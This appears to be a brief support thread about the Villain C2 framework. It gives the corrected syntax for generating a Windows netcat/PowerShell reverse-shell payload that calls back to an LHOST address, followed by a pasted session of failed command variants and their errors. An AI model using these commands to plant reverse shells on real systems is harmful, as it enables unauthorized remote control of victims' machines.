Villain is a high level stage 0/1 C2 framework that can handle multiple TCP socket & HoaxShell-based reverse shells, enhance their functionality with additional features (commands, utilities) and share them among connected sibling servers (Villain instances running on different machines).
The payload generator was redesigned. It's now like:
generate payload=windows/netcat/powershell_reverse_tcp LHOST=192.168.45.16
Check also help generate
Villain > generate payload os=windows LHOST=192.168.45.16 encode Required argument PAYLOAD not supplied. Villain > generate payload os=windows/netcat/powershell_reverse_tcp LHOST=192.168.45.16 encode Required argument PAYLOAD not supplied. Villain > generate payload os=windows/netcat/powershell_reverse_tcp LHOST=192.168.45.16
Required argument PAYLOAD not supplied. Villain > generate payload windows/netcat/powershell_reverse_tcp LHOST=192.168.45.16
Required argument PAYLOAD not supplied. Villain > generate payload= windows/netcat/powershell_reverse_tcp LHOST=192.168.45.16 Payload template not found. Villain > generate payload=netcat/powershell_reverse_tcp LHOST=192.168.45.16
Payload template not found.